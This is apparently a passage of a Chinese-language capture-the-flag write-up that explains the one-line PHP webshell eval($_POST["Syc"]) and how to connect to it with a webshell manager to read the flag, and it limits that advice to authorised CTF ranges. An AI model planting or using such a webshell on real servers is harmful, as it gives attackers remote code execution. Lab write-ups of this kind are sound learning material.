设置仅保存在当前浏览器。
eval($_POST["Syc"]);
eval($_POST["Syc"]); 本身就是一个典型的一句话 WebShell:服务端会把 POST 参数 Syc 的内容当 PHP 代码执行。
Syc
题目环境中可以使用蚁剑等 WebShell 管理工具连接,连接密码/参数名为 Syc,随后读取 flag。这里只适用于授权 CTF 靶场,不应对真实站点使用。
评论将在接近此处时加载,也可点击立即加载。
输入标题、标签或正文关键词,多个词用空格分隔。
也可以从一个专题开始
评论将在接近此处时加载,也可点击立即加载。